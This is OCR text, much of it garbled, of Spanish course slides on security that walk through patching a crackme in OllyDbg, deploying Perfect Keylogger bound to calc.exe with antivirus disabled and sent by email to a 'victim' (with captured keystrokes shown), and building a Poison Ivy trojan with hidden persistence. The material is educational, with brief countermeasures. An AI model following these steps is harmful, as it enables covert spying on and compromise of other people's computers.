4 ]z E=E PUSH CRACKME. B@462 1 T e ey OoEE ! atetstow touw the nent CrackHetr SIS curol SO Gl Bl CRIEEEERD
=+ Ell e FF?5 (=] FOSH DWDRP FiR oot LEBP+51 hOwnex ) ) ¥ ) ES Cr=on e = HEEES EEeElEE,
4 (- Doea@ene | CALL <JHP. &USERSZ. MessageBonA> Mef=aasBonn S CUiom <inelE = & 7 EEEEEERE
2 TIL: c:3 BETH - = = g;g empt -;UHDRH C 5] 1 BRAZ18857
s = Empt a
Ei ZI[T B2 PBecececa |EAp  Backup L4 [ﬁggg;;ggegpme_oK ST GHEEE Bobllny S Funozo
o 2|l ;=8 == ElE Copy . E_OK i ME_ 1 CONEXCLAMATION { ME_APPLMODAL FET cEET  Geme o e BB AEEE B
£ 2|l - 22 e2zl4e000 PO i L there, moatetrr FCW 82FF FPrec NEHR s Fask 11111
G2ic|| O EEEcBBeees |EAE meeen g h Senn
e B e | et opace T
fon g 2
bl [Es fe = T roeker :
L B ik [ 3
4 Bl r reakpoin
4, || 72 1F JE Hit trace > e’
H = i E
Loca call from BE48124E5 Fun krace 3
Mews origin here ctrl+cray TCTLIEFET | FETURM = T5=.FCo1eFEr
Addyr Hew d — | Grici1 = F o [ T Lerne z
Coac—ocol oo oo 55 50 SO oo ot Origin * b e lGaisFFLo| roRepzes|ntdll. roozezes s
e . : ] @ElZFFCC| FEFEFEFFE
& Fallows in Durmnmp » Prewvious Minus =\l aaizFFDEa| FFFDDEEE
<+ wiew call tree CErIH-K Expression ZErl4-G SS%%FFB; SS?%@EES
i oolZFFDC| Ze23@aza
4 Search For > Previous procedure  Ctrl+Minus e EEFFF,EEF SoEl S FEn Ealn
Y E Find references to » Mext procedure Zerl+Plus gg}%gggg CS16FFA| kerne l32. FCE16FFR
1oon2 view > seiseee
= Copy o executable > Previous reference  Alb+F7 G611 2FFFS E CRACKME. <Modu LeEntruPoint >
B Py
4 . Mexk reference alk+FS Bai2FFFC
Et Analysis »
e
g Eookmark. »
<} 9
i 5 Appearance » =3
<+ A =B I T T S
Proaram enktro ooiak | Palized




Ejemplos Practicos: Crack

— T MRSl N Yy, B o ‘e San '

Paso 3. Localizar las comparaciones y los saltos a las zonas "chico
malo” y chico bueno”:

O Lo primero que debe hacer es OllyDbg - CRACKME.EXE - [CPU - main thread, module CRAC

localizar las comparaciones y los L . . .
saltos a las zonas “chico malo” y @ﬂle View Debug Plugns Options Window Help

cial. A" continuacion veriaue o B MU WK HE A A BN

salto a la zona de “chico bueno”. Y ARdEiZia] . 68 15214888 |PUSH CRACKNE,Bada2iis

or u|t|m0 anotamos |os numeros HAdal218 .FFEEEEEMFUSH OWORD PTR 05 [48260R]
Eexadecimales que nos llevan a la OU4GIZIE] B 70B2A0RG | CALL CJYP,ALERS2.DialosBosParan)

dos zonas. . ER 1BA10ARA | CALL CRACKHE,BRda]ae?
JHP SHORT CRACKME, Badai1Ee

JR124c| b ER FraRaRaa | CALL CRACKE.ARal3d0
0 Esta orden nos esta diciendo que e} JUP SHORT CRACKIE. Ada11F6

mensaje de "NO LUCK THERE, T O PO G, DT
MATE!” tiene una llamada en dadalzaz) . BB Spaleasa | CALL CRACKME.Badd1aDa
00401245. Si esta el salto que nos EE:SEEE 'EEH b EEE EEE"‘
lleva a la zona de “chico malo” no AR4AL241] . SBC CHP ERM, EEX

debe estar muy lejos el salto que HR4R1z43] w74 87 JE SHORT CRACKME, BdalzdC
BR4R1245 . EG 15010080 | CALL CRACKME,RAdR1362

lleva a la zona de “chico bueno” J41240] 6B R P SHORT CRACKE. B4 15
0600240| S BB Fonamean | CALL CRACKYE.Oméa1340
Wl BRSSP SHORT CRACKYE.B4A{ES

0378 - Seguridad y Alta Disponibilidad
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Ejemplos Practicos: Crack
Paso 3. Localizar las comparaciones y los saltos a las zonas

malo” y chico bueno”:

BE4E1245
BB4E1:24A
BE4E1240
HE4E1 251

. ES 15B1BBRGE
.“EE 2H
» B8 FLBBBBEGE
.“EE 93

CALL CRACKME.BE48E] 3562
JMF SHORT CRACKME. BBdd11ER
CALL CRACKME.EBE481 340
JMF SHORT CRACKME. BBdd11ER

| A3481245 , E3 19910AAR | CALL CRACKIE. BRdaizs?

QLlamar a la funcién que visualiza el mensaje de “Chico Malo”

|41 240 ,ER 9

QSalto incondicional a 004011E6 donde se encuentra la zona de chico malo

| 340124C] » EB FOAaARGR | CALL CRACKE, 403D

P SHORT CRACKHE, AdB1 15

QLlamar a la funcién que visualiza el mensaje de “Chico Bueno”

“"chico

El objetivo es que independientemente del nimero que se
introduzca el programa vaya siempre a la zona de “chico

bueno”

0378 - Seguridad y Alta Disponibilidad
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Ejemplos Practicos: Crack
Paso 4. Modificar con el Ollydb los numeros hexadecimales

QPara modificar con Ollydb los n©

hexadecimales que nos lleven a  \FREG i
registrar el programa hay que ! !
: : A4R124R) AEB 90 JP SHORT CRACKE, ndiiiEs
;jmb'arEBe' valor hay que cambiar —{uunr b rogmn |G RO J0LE0
por EDB. . ., B4R1Z5]) AEB B3 P SHORT CRACKITE, Aadat{Es
Q 74 representa la instruccion JE ALt TS OO0 |ENTER 4,0
(Salta si es igual o salta si es cero). Me interesa amiacl) | 63 PIUSH ER
que la instruccion sea JMP(Salto incondicional) e PG ES]
R R FlIEH EOL
L 3 Y T ARTZSH)) 20 HC 1athr P DMUHDEEEKﬁE EEEEJ{E%,?IIB
BUOIECAER 08 NP SHORT CRACHHE it PIR S8 EBPHCD, 111
R T 1560 e RN ICONERCLAMATION MR APRLIOAL chacko, Badatz
A130FIf B8 JSE146R | PUGK CRACKEE, hodnct 2 FATE = "aond weny " PR 45 (EBP4CD, 10
ATIZEA 60 4204000 | PUSH CRACAYE, Mouoat Teut = "Roeat wark, mate!Mow toy the neat Coapktt” B O0AALCET
W e e e c%ﬁg ggﬁglggﬁl
OGHLECH B Deana | CRLL <P S5 Sa.ﬂessageBuHm lessageboid
00t L 6, (3 BETH
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Ejemplos Practicos: Crack

Paso 4. Modificar con el Ollydb los numeros hexadecimales

Edit code at 00401243 (%] mMal43 vEB 7 P SHORT CRACKIE, it
s E %w%m i % - ﬁﬂ%%ﬁﬁﬁﬁ“ﬁﬁﬁﬁﬁﬁﬁﬁimm
onco | /_// A0 ) EB PO | CAL CHRDVE.BMALS0

HEX+01 [EB 87 HA4A15]| LAER 93 JHP SHORT CRACKME, Aadal 166

Q4l25z)p, O3 Daggd | ENTER @0

HaEr ||, B PUSH EB
¥ Kesp size BaA 5G| . 5 PUon E3]
0K Cancel_| mhaLesa| 57 PUSH EOI

HAAATZ5A . BE70 B TBA1ACHP CHIORD PTR 55+ [EER4C, 114
. Aaaa1zel [ w74 34 JE SHORT CRACKHE, ada1297
QUna vez modificado para comprobar |||, 8170 6 11618(CHP DUORD PTR S5 [ERPC], 111

el correcto funcionamiento pulse #2074 & JE SHORT CRACKME, Aadat2n]

RUN AAAALZAC]) . 8370 G 18 CHP CIORD PTR 55+ [EEP4C], 4
HAAR1E7A | (wFR4 B1GAAAAA) JE CRACKME, ARdaLaF?
HAdAL276() . BI70 GG GLA2AICHP CHIORD PTR 55+ [EER4CI, 261
BRAR1ETTI v 7d BC JE SHORT CRACKHE a4a1288
HAAA1ETF) [ 4 BA AAARGGG | MOV ERX A

dodnzed| 5 POP EC]
ahanlegs|| . S PO E5]
B4 2Ee|| . 56 POP EBY
doanzer)| . 3 LERE

ddlaee)( . G2 1oag  (RETH 1@

At anni Y A0 Rlle o
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KME.EXE - [CPU - main thread, module CRACKME]

IE File “iew Debug FPlugins Options  Window  Help

Bl x| »n] wiv EL A i LiE[MT|WH|c|/|K|B[R|..|5] I

BoG0leo] . ES SEDIGEED | GALL CRACRIE. BR48100% Feaisters [FEL ‘
BB4E1230( . 83C4 B4 ADD ESF, 4 A el

BE4E1Z46| . E8 FOF EA Eage 0

CLLGPYCH e & EDi PCIIEEL4 ntdll.KiFastSystenCal lRet
GO461245| . ES 19818888 | CAL F 1= [ | EE: poammaad

Be4e124A| ~EE SA d - [B][X] Eif gaisEsle

BE4E1Z4C| > ES FCORGEEA | CAL — Eg

BE4E1Z51| L~EB 93 JFl File  Help = | e

BE461Z52|F. C2 BEREOE ENT|.. - _

eE4a1257 (| - E3 PLS EIF FCY1ES14 ntdll.KiFastSystemCal LRet
ea4a1z52(| - E6 PUS -

C @ ES 8823 32bit B(FFFEFFEF)
padetesell - B-p se 1ee10| onE F 1 CS BBiE 3Zbit BiFFFFFFFF)
EErr | R T o A1 55 @a22 32hit BIFFFFFFFF)
Pl TR el 7 @ D5 @@Z3 32hit BIFFFFFFFF)
EEe b | R T o Register S 1 FS G83E 22bit FFFOFGEELFFF
sadnizec|| © asvD BC 1B | CRP U ie B kB TR
S| | S A S 0 @ LastErr ERROR_SUCCESS (@BBEEEHE1
ea4a1270(| w74 B JE EFL BEBAE296 (MO,MB,ME,A,S,PE,L,LE]
ea4a127F || . B2 PEGeE@Ed | HOY

i 5TA empty 7.34257SETAOE22997520
SSQSEE; b EE EBE g Mame IﬁLEL ST1 empty 23, 352BE5954565945030
dadpiell s EE Fof E21 ETZ empty 111.297436209603905050
poapizeell - B FOE STS empty 2035, GAZETElZ45674750
s i [na e LB Cerial aa| 5T4 emptu 11345, 481353325641950
doiieEEll sy e LA REIN 1 eria STE empty 17.345127254901961340
dodpizeEll v R L Fln L STE empty FZEG. DOOEAGGAREORGEAE
Aoy o e e | STF emptu 11345, 431353325641950
poanicacl| ES_ESploas £ e Gugdurd FST 0120 Cond G861 Ecc 6610050
poapiearl| 2 EETE 2B FLISH DUORD FCW B27F Frec MEAR,53 Hask 1111 1
ee4a1200(| - E2 95mimees | CALL <JMP. O Cancel '
ea4a129F || .~EB EZ JMF_SHORT creat work. matel
ee4a1201 (| > Z3ce HOR ERY,E ' : :
aad4e12A2|] . 2170 18 EBG2@| CHP DWORD L] Mow Ery the next CrackiMe!
ea4a1z00(| w74 4B JE SHORT
ea4a1zac|| - 2170 18 Emesel| CrP OWORD Y :
aE4612e2 (| 75 2B JHZ SHORT CRACKME.BE4612FE
ea4a1zEc|| - 6A BE FUSH BE Count = B (11
ee4a12E7 || - 62 SEz14e@m || PUSH CRACKME.BB48215E Euffer = CRAC
oa4aizEc|| - 62 Ecessess || PUSH ZEZ ControllD = 2
i b el =g = e Iy =0 S HGRUTIRO N RTIRE 5 2] PE Byt - el o b
BO4E1 24C=CROCKNE . BB461 240
Add Hi d ASCII BE1ZFFC4 | FLC216FEF|RETURHM to kernel3z.FCE1EFEF
T LR TR R R R T P AN Ge1zFFos| roo2ozes| ntdl L. FooeRzes e
BR4GIEAZ| G0 GO G0 0G| G0 08 GO 68| ... ..... BelZFRLL| EREFEECE
BE4EZE10( 00 06 65 66| G0 G0 08 BE| ... ... .. g Bt
BE4EZE1C| 60 06 BE G660 G0 OB BE|........ aalcrrDd) SassEerh
BE4EZE20| 00 06 6O 66| G0 G0 05 BE| ... ... .. polerEDe) DalarrLs
BE4EZE22( 00 06 65 66| 60 G0 08 88| ... ... .. S615FFEe| ERFFERRE|E -
BE4EZE00( 60 06 BE G660 G0 OB BE|........ nd of SEH chain
e B A e e R B BE1ZFFE4| 7C299AF@|SE handler
RREEn B B B B B Bl Bl ) nonoooen BE1ZFFES| 7CE16FFA|kernel32. FCE1E6FFA
BE4E2642(0E 81 45 66| 11 61 08 66| 16E.48.. pALcrPEL) Damdnans
BE4EZEC0( 66 0O GO G0 G0 G0 05 BE| .. ... palsrERn) paammaon
BE4EZECE( 08 FA 3E A1) FC 69 08 B85 67 ... | | e HE.. <Tod .
BE4EZEE0| 08 00 BE 66| 63 40 0D BE|L... 0., «“Modu LeEntryPoint
BR4GZEES[ 25 11 40 0G| G0 00 GO 00| (4@, .. .. BA12FFFC| @EEEEEaE
BE4EZE70| B8 B0 66 60|60 08 46 68|, .. ... .
BE4EZE7E(E9 B6 32 66| 11 69 01 09|ye3.4.8.
BE4EZE50( A5 06 BE 66| 16 21 48 08| 4...HE,
BE4EZE52(F4 20 48 06| 60 B9 09 08|7 B.....
BE4EZE00( 00 00 G5 66| 60 G0 05 BF| ... ... ..
BE4EZE52( 00 B0 6O 66| 60 G0 0B 88| ... ... ..
BE4EZE00| B0 PO BE A6 G0 GO BB BE| ... ..... =
BO4GZEAS| BB B0 05 60 BB GO 68 68| ........ [ w

Module C:WwINDOWS vepstem 32 ctfime. ime | | Running
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R e R

et
PERFECT
KEYLOGGER

(2

Yok W0/

dDescargamos e instalamos Perfect Keylogger, coma puede*verse

j-que hémos

o

esta funcionado, mediante el visor de log muest
introducido por teclado

92 C:\irchivos de programalBPK - Log Viewer

=2 C:Mnchivos de programaBPK - Log Viewer

Select a date or date range in
the calendar to view log
records. Drag the mouse to

PERFECT

lun mar mié jue vie sdh dom

1 select a range of dates. KEYLOGGER enero de 2012 Select a date or date range in PERFECT
3 5 lun_mar_rmié jus vie sdb dom ::&'fﬁfnﬁfégt?h'e'm'}li to
30 M 1213 14015 Operilog.. ‘ Find... | 1 select a range of dates. KEYLOGGER
16 17 1819 20 1 2 - 2 3 5 B 7 8
W[ BT BN Save log as.. ‘ Delete these records.. | 910 1 12 13 14 15 Open log... | Find... |
n oA 16 17 12 19 20 21 22
Hoy: 0470172012 Close ‘ [ Show entire lng gg %14 25 26 27 28 23 Save log az.. | Delete theze records... |
es OChats O Sereenshots O Websites Click hete to print the lo Hoy: 04/01/2012 [ Shaw entire log

J Show: () Kepstiokes () Chats

@ Miércoles, 4 enero

Visited at 17:57

O Screenshots (D

LClick here to print the log

Miércoles, 4 enero

Calc.exe, 17:57

Calculadora
1254 0313-6545.html"
. "http://www.tomsguide.com/us/download/Perfect-Keylogger
Winword.exe, 17:58
] Visited at 17:59
ﬁocz.fmentoi‘ - Microsoft Word "BlazingTools Downloads: Perfect Keylogger for Windows 7
urcia

"http://www.blazingtools.com/downloads.html"
Visited at 17:59

"Google" -
5 4| »
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Ejemplos Pra

KeyLoggers

d Lo primero que vamos a hacer es configurarlo:

i1 BlazingTools Perfect Keylogger: Options

General
Lagaing
Screenzhots
E-mail

FTP

Alertz
Targets

M otification

Buy now!

Enter reqgistration code. ..

YWiew the log...
Enable logging
Hide program icon

Opkions...
Passward. ..

Remoke installation, ..

General Elazi

System

[]Run on Windows startup

[ ] Don't show program icon at startup

Hatkeys

-‘ Show / hide program icon; |ETHL +aLT +L
7

E key

[ ]with

bt

| revizibiliky
Hide the program from Chil+alt+Del
[ ] Make the program invizible in the Windows startup list

] Remove the program from Start Menu and uninstall list

[ ] Motify about program updates  Click here to uninstall keylogger

] Cancel Help

Abouk
Ferfect Kevlogger's Home Page
HE'F' Send feedback
[ VTR
Exit
(WTT=TH R [ § [ Co H 15:03
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=j]empIlosS
Key L gg

O Le configuramos el correo
para recibir notificaciones
por email:

o ..'Ci

Buy now!

Enter reqgistration code. ..

YWiew the log...

v |Enable logging

Hide program ico

Opkions... /
Passward. ..

Remoke installation, ..

11 BlazingTools Perfect Ke Rl

os Practicos
rs

73 45 Reply “ Forward
# TodayonaoL ~ O From
&4 Inbox @ O mar100gar
- B Drat ] ]! AoLWelcomelnfo
=1 Drafts
\._/ \._/ -

9 Sent

[® spam

mn

iy FTP
o Blerts

Perfect Keylogger Test Message |~
mar100gar to you - 2 min ago More Details

- General i

: ; Logglng & Contacts

: A Scleenshots @ Calendar settings are correct.
i E.mall My Folders

© || [Z] Action [l Delete | @ Spam | View: All2
U - Subject Date ¥
Perfect Keylogger Test Message 12:44 am
Welcome to Your New Email Account! 12:43 am
(= ")

Add to: To Do, Calendar

This is a Perfect Keylogger test message. If you've received it, all mail

- Targets
- Notification

“Mail Server

SMTP server: ]smtp.aol.com

o

Port humber:

Example: smtp.myrealbox.com More details...

Edit email message header...

User information (for authentication on the server)

P

IUsername; imar100gar
BlazingTools Perfect Keylogger

Ll
1 ) Test message was sent succesfully. Check your mailbox.

Send test ‘

)

Send feedback Lh

| Cancel | Help

Abouk
Help

Exit

g NICOT T T T
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Ejemplos Practicos: Ke

—

eyLoggers

Q Ahora vamos a crear el keylogger (instalacion remota):

Buy now!

Enter reqgistration code. ..

YWiew the log...

v |Enable logging

Hide program icon

Opkions...
Passward. ..

Remoke installation, .

Abouk
Help

gl

o TR T e T T T - Ca .... ] ﬁ 1|_| |_| al

Exit

Select the package actions

What do you want to do?

%) Install new or update existing kevlogger on the remote computer

) Uninztall existing copy of the Perfect Kevlogger on the remate computer

I atify me when the installation package will be launched:

() By email
(IByFTP

[] Close antizpyware programs, antiviruses and firewalls on Qckage zhart

To continue, click Mesxt

< Albraz ]L Siguiente>] [ Cancelar ] [ Apuda J
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Ejemplos Practicos: KeyLoggers

Specify deployment package options

q 1 Specify the program to combine it with the keylogger:

!C: YWWINDOWS \system32\calc.exe

"0 Ya tenemos el keylogger:

Install to the following folder on the remote computer:

]Type folder path here or click "Next" to install to "System' folder

[] &utomatically uninstall remote keylogger after || days of use

To continue, click Next

I < Atrds || Siguienj@ l [ Cancelar J [ Ayuda ]

d Lo renombrarnos para no tener problemas
con el correo:

calc.bxt
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Ejemplos Practicos: KeyLogger

d Como resumen indicar que para infectar un ejecutable, debe
realizarse los siguientes pasos:

% Pulse el botén derecho del raton sobre el icono del keylogger que
se encuentra junto al reloj del sistema y seleccione Remote
Installation.

< Pulse el botdén Siguiente y en la pantalla que aparece establezca
las opciones que desea realizar: instalar o desinstalar el
keylogger; indicar el método de envio de informacién (por email o
por ftp); y también puede indicar que al instalar el keylogger se
deshabiliten los programas antispyware, antivirus y cortafuegos.
Pulse Siguiente.

% En la siguiente pantalla se especifica el fichero que desea infectar
y si quiere también puede indicar que el keylogger se desinstale
automaticamente después de un numero de dias determinado.
Pulse Siguiente.

< Por ultimo, aparece una ventana que nos indica que el fichero se
ha infectado correctamente y pulsamos Finalizar.
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Ejemplos Practicos: KeyLoggers

Q Ahora hay que enviarselo a la victim

ireccion [@ http:fimail. aol.com/33456-111/aol-6/en-usSuite, aspx

V; Ir Yinculos
Home Page 4 ‘,3'? : —
Pub Crawl? B L
Plan & Share
with My Maps. mapquest |
ls
arch the Web Search enhanced by COSIC Themes | Seftings | Help
~ Search Mail Q‘r “ Reply | Forward | 42 M | [=] Action | ] Delete ’ kd E3 °
¥ TodayonAOL £ Calculadora I« - | B
Inbox o mar 100gar to you - 18 min ago  More Details £dd to: To Do, Calendar
% Drafts 0 cale2.b CU

9N
"ec,be Y /a VI,

. —
2 Sent a
B calculadora
Edicion Yer Ayuda

1 0|
I = . -
09 D)
=) DEEEE
oinnnEn
- DEOEE

’7S/o,7 % /Can—;b lo

q
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Ejemplos Practicos: KeyLoggers

,@C‘L | Mail Tookar | ;
: | # SHOUTcast . Radio Directory

The UItimateADirectory of Online Radio Stations

Soarchaile

CheckMail § Compose " -i"ff"\'éégmhmeweb | Beatch | entancedby Google

searchMail Q)| ¥ Reply W Forward | & I | [] Action ~ | [] Delete | @) Spam

¥ TodayonAOL 2 i 99103/ :

A loday on A Perfect Keylogger was installed successfully: 29/03/2011, 20:46 (PRUEBA-

52 Inbox 0 39A17D5A Administrador)

- mar100gar toyou - 38 sec ago  More Details

4 Drafts

.S Sent Perfect Keylogger was installed on the computer PRUEBA-39A17D5A, with IP address

192,168.119,150, user Administrador at 29/03/2011, 20:46.
[ IMs N
(8 Sparm

d Ejemplo de E-mail recibidos:

b SEE WHAT'S PLAYING

Themes | Seftings | Help

MO
o L é

Addto: To Do, Calendar m

(

=2 &

3

0378 - Seguridad y Alta Disponibilidad
Departamento de Informatica y Comunicaciones. ASIR 2011/2012. 2° Curso

73



Pub Crawl?
Plan & Share
with My Maps.

mapquest m2

| Check Mail [ |

You can view attached log files directly with your e-mail program.

Basic Version | Accessible Version | MailBlog | Feedback

d Si abrimos uno de los mensajes y vemos el adjunto:

Compose ~ Search J enhanced by C()‘uglt‘ Themes | Settings | Help
('. Search Mail Ql | %5 Reply || & Forward || & M || [=] Action | [ Delete || @ Spam | View: All 15 (]
£ Today on AOL [] &  From 0 - subject Date v =
& Inbox o &= mar100gar U Perfect Keylogger report: 29/03/2011, 21:21 (PRUEBA-39A17D5A\Wsuario) 9:21 pm =
= O mar100gar { Perfect Kevlogger report: 29/03/2011, 21:18 (PRUEBA-39A17D5AAdminis! 9:18 pm ‘E' 22
s =] mar100gar i Perfect Keylogger report: 29/03/2011, 20:50 (PRUEBA-39A17D5AWsuaric 8:50 pm
M Sent O mar100gar { Perfect Keylogger report: 29/03/2011, 20:47 (PRUEBA-39A17D5A\Admini 8:47 pm <
I—B IMs (I mar100gar Perfect Keylogger was installed successfully: 29/03/2011, 20:46 (PRUEBA 8:46 pm
Spam (1) O mar100gar { cCalculadora 8:43 pm -
T - e
@ Trash Perfect Keylogger report: 29/03/2011, 21:18 (PRUEBA-39A17D5A\Administrador) -
mar100gar to you - 25 min ago Moere Details Add to: To Do, Calendar
% Contacts )
) keystrokes.html, websites.html B
@ Calendar
My Folders This is a Perfect Keylogger report for computer "PRUEBA-39A17D5A", IP address m
192.168.119.150, user "Administrador”.
[ saved Mail

Q@

@ 2011 ACL Inc. All Rights Reserved
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s: KeyLoggers

Martes, 29 marzo

emplos

lh "

(e

lexplore.exe, 21:10

Google - Microsoft Internet Explorer
master seguridad almeria

lexplore.exe, 21:10

Master en Administracion, Comunicaciones y Seguridad Informatica - Microsoft Internet Explorer
criterio33

lexplore.exe, 21:

Master ACS/I - Segurida

g
edit server

matica - Microsoft Internet Explorer

Clave del aula virtual en el que el infectado realiza sus
estudios de Master de Administracion, Comunicacion y
Seguridad
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Ejemplos Practicos: KeyLoggers

Contramedidas:

Para evitar ser infectado por un troyano debe realizar las siguientes
medidas:

% No utilice nunca la cuenta de administrador para trabajar
normalmente. Utilice un usuario sin privilegios.

% No ejecute nunca aplicaciones que le ew chat o
cualquier otro medio.

% Utilice siempre un antivirus y cortafu

e
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©
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©
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%) Poison lvy - Remote Administration Tool - Mozilla Firefox

archivo  Editar  Wer  Historial Marcadores  Herramientas  Awuda

| 9‘ Paison Ivy - Remote Adrministration Tool | + | - ) L —

(- - ,9‘ i, poisonivy-rat,com/indes:. php?link=download
BN

[2] mas visitados @ Comenzar a usar Firef.. |5 ] Oltimas naticias “ CARM,es - Servicios D... gy Plumier®x1 |

D Braate ridministration “Taol

Home - Downloads - Screenshots - Development - Customer Partal - Links -

ywhnloade

Poison Ivy 2.3.2 {(latest version)

File name: PI2.3.2.rar
File size: 1536750 bytes
[irror 1

Optix Screen Cap

Author:  Eh3 s13a23
Language; Delphi
Poison Ivy 2.3.0 (old, unsupported) Version:  2.0.0

File name: PIZ.3.0.rar Binary:  Download

File size: 1679943 bytes Source:  Download
Mirror 10 poisonivy-rat,com

WiFi Scanner (Screenshot)

Author:  shapeless

Documentation Only Language: Delphi

File name: PIZ,3.0.pdf Version:  1.0.0
File size: 150576 bwtes Binary:  Download
Mirror 1: poisonivy-rat.com Source:  Download

Remote Port Scanner (Screenshot)

Poison Ivy 2.3.0 SDK {latest version) Authar el
B v
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Ejemplos Practicos: Troyanos
Introduccion:

d Se denomina troyano ( o Caballo de Troya, traduccion mas fiel del
inglés Trojan horse, aunque no tan utilizada) a un programa
malicioso capaz de alojarse en el equipo y permitir el acceso a
usuarios externos, a través de una red local o de Internet, con el
fin de recabar informacion o controlar remotamente a la maquina
anfitriona.

A Un troyano no es en si un virus aun cuando tedéricamente pueda
ser distribuido y funcionar como tal. La diferencia fundamental
entre un troyano y un virus consiste en su finalidad. Para que un
programa sea un troyano solo tiene que acceder y controlar la
maquina anfitriona sin ser advertido, normalmente bajo una
apariencia inocua. Al contrario que un virus, que es un huésped
destructivo, el troyano no necesariamente provoca danos ya que
ése no es su objetivo.
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Ejemplos Practicos: Troyanos
Introduccion:

Q Suele ser un programa pequefo alojado dentro de una aplicacion,
una imagen, un archivo de musica u otro elemento de apariencia
inocente, que se instala en el sistema al ejecutar el archivo que lo
contiene. Una vez instalado parece realizar una funcidén Util
(aunque cierto tipo de troyanos permanecen ocultos y por tal
motivo los antivirus o antitroyanos no los eliminan) pero
internamente realiza otras tareas de las que el usuario no es
consciente, de igual forma que el Caballo de Troya que los griegos
regalaron a los troyanos.

Q Habitualmente se utilizan para espiar, usando la técnica para
instalar un software de acceso remoto que permite monitorizar lo
que el usuario legitimo de la computadora hace ( en este caso el
troyano es un spyware o programa espia) y, por ejemplo, captura
las pulsaciones del teclado con el fin de obtener contrasenas
(cuando un troyano hace esto se le cataloga de keylogger).
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Ejemplos Practicos: Troyanos
Partes de un Troyano:

QdLos troyanos estan compuestos principalmente por dos
programas:

D e < un cliente (es quien envia las funciones que se
Cliente | \ deben realizar en la computadora infectada) y
é\b sevisr % UN servidor (recibe las d6rdenes del hacker y

las realiza en la computadora infectada).

/

d También hay un archivo secundario llamado Libreria (con la
extension *.dll) -todos los troyanos no lo tienen, de hecho los mas
peligrosos no lo tienen -que es necesaria para el funcionamiento
del troyano, pero no se debe abrir, modificar ni eliminar. Algunos
troyanos también incluyen el llamado EditServer, que permite
modificar el servidor para que haga en el ordenador de la victima
lo que el cracker quiera.
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Ejemplos Practicos: Troyanos
Tipos de Troyanos:

Q Los troyanos de conexion directa son aquéllos que hacen que el
cliente se conecte al servidor; a diferencia de éstos, los troyanos
de conexidn inversa son los que hacen que el servidor sea el que
se conecte al cliente; las ventajas de la conexion directa esta en
que traspasan la mayoria de los firewall.

Q El motivo de por qué éste obtiene esas ventajas es que la mayoria
de los firewall no analizan los paquetes que salen de la
computadora infectada, pero que si analizan los que entran (por
eso los troyanos de conexion inversa no poseen tal ventaja).

El ejemplo desarrollado se fundamenta en un escenario bastante comin que
es el uso de Firewalls que bloquean las aplicaciones que intentan hacer
conexiones, por lo general estos firewalls vienen configurados por defecto
para dejar salir ciertos programas, entre ellos, como no: Internet
Explorer, entonces, empleando internet explorer como fitere’ para la
comunicacion al exterior, conseguimos hacer un bypass del Firewall
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Ejemplos Practicos: Troyanos
Tipos de Troyanos:

Los troyanos, aunque algunos son ejemplos inofensivos, casi
siempre se disefan con propdsitos dafinos. Se clasifican segun la
forma de penetracion en los sistemas y el dafio que pueden causar.
Los ocho tipos principales de troyanos segun los efectos que
producen son:

O Acceso remoto.

Q Envio automatico de e-mails.

Q Destruccion de datos.

A Troyanos proxy, que asumen ante otras computadoras la
identidad de la infectada.

Q Troyanos FTP que ahaden o copian datos de Ia
computadora infectada.

Q Deshabilitadores de programas de seguridad ( antivirus,
cortafuegos. ..).

A Atagque DoS a servidores (denial-of-service) hasta su
blogueo.
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Ejemplos Practicos: Troyanos
Crear un troyano:

QA continuacidon se va a realizar un troyano de conexion
directa. Es decir, el troyano se conectara a nuestro servidor
indicandonos que el equipo se encuentra activo. Como es
l0gico, para que el troyano se pueda conectar a nuestro
servidor necesita conocer nuestra direccion IP o nombre de
dominio.

dComo estos datos son muy peligrosos como para ponerlos
en un troyano ya que alguien puede localizarlo, se
recomienda utilizar el servicio www.no-ip.com para utilizar
direcciones IP dinamicas.

dEl primer paso que debe realizar es crear el troyano para
mas tarde poder infectar un fichero. Para crear el troyano
hay que tener en cuenta que el servidor lo va a utilizar para
infectar el equipo, y el cliente lo utiliza para conectarse al
servidor.
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Ejemplos Practicos: Troyanos
Crear un troyano:

Poison Ivy es una herramienta que permite configurar y generar el
troyano que actua como cliente y como servidor. Para realizar el
troyano debe realizar los siguientes pasos:

1. Descargue Poison lvy de la pagina www.poisonivy-rat.com.

J(ﬁlﬂ?l t//’l/

Eeweate A dministration Tool

2. Descomprima el fichero en una carpeta vacia. Para poder

trabajar con Poison debe desactivar el antivirus porque sino lo
detecta como  software malicioso vy lo elimina

automaticamente.
. Ejecute Poison, acepte los términos de la licencia y aparecera

la pantalla principal.
. Ahora, para generar el servidor que utilizara para infectar un

equipo, debe realizar los siguientes pasos:
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Ejemplos Prac

S

Crear un troyano:
Poison lvy

I
=
©
@
—]
-
©

@

Profiles

. i+ DNS/Port
& i
Connection » Dits

 Type
« 192.168.1.133

0

&

Install

o Lo B iy
@ “

Size left: 239 [Test Connections][ 0K ][ Cancel ]

€3 Cancel
Version 2.3.0 Nr. of Ports: 1

% Generate  Next =

Nr. of Plugins: 1 Wr. of Connections: 0
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Ejemplos Practicos: Troyanos
Crear un troyano:

dddddddd

Q Abra el menu File y seleccione la opcion New Server.

Q Pulse el boton Create Profile.

d En la pantalla que aparece en la casilla DNS/port escriba
la direccion IP o el nombre DNS junto al puerto que
utilizara el troyano. Para el puerto que utiliza el troyano
puede indicar un puerto alto superior al 1024 o utilizar un
puerto de trafico valido (por ejemplo, 80).

Q Escriba el ID que es el nombre predeterminado que tendra
la victima al conectarse. Escriba el Password y pulse Next.

;EI;EF&%

aaaaaaaaaaaa
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Ejemplos Practicos: Troyano
Crear un troyano:
Poison lvy

-

Profiles

5 ' : | = DNS/Port =3
Connection | c'll'yp_e . Pos.

« 192.168.1.133

&

Install

2
Advanced

-

Build

Size left: 233 [Test Connections] [ 0K

 Cancel

% Generate  Next =
Version2.3.0 Nr.of Ports: 1 Nr. of Plugins: 1 Nr. of Connections: 0
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Ejemplos Practicos: Troyanos
Crear un troyano:

A En la pantalla que aparece después de pulsar next debe

realizar las siguientes operaciones:

< Active la casilla ActiveX Startup y pulse el boton Random
para que el troyano se guarde en el registro de forma oculta.

% Seleccione la casilla Copy File y Windows Folder para que el
troyano se copie automaticamente en el directorio de
Windows. Escriba en Filename el nombre con el que se
copiara el troyano en el sistema.

% Active la casilla Keylogger (registrador de teclado) vy
Persistence.

Prefiles [V ActiveX Statup: | {CABFEEDE-CT0B-E5F0-4650-75 | =) Random

[ CapyFie
- )
& Filename: |rueva exe

" System Folder
# Windows Folder

I Melt
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Ejemplos Practicos: Troyanos
Crear un troyano:
Poison Ivy

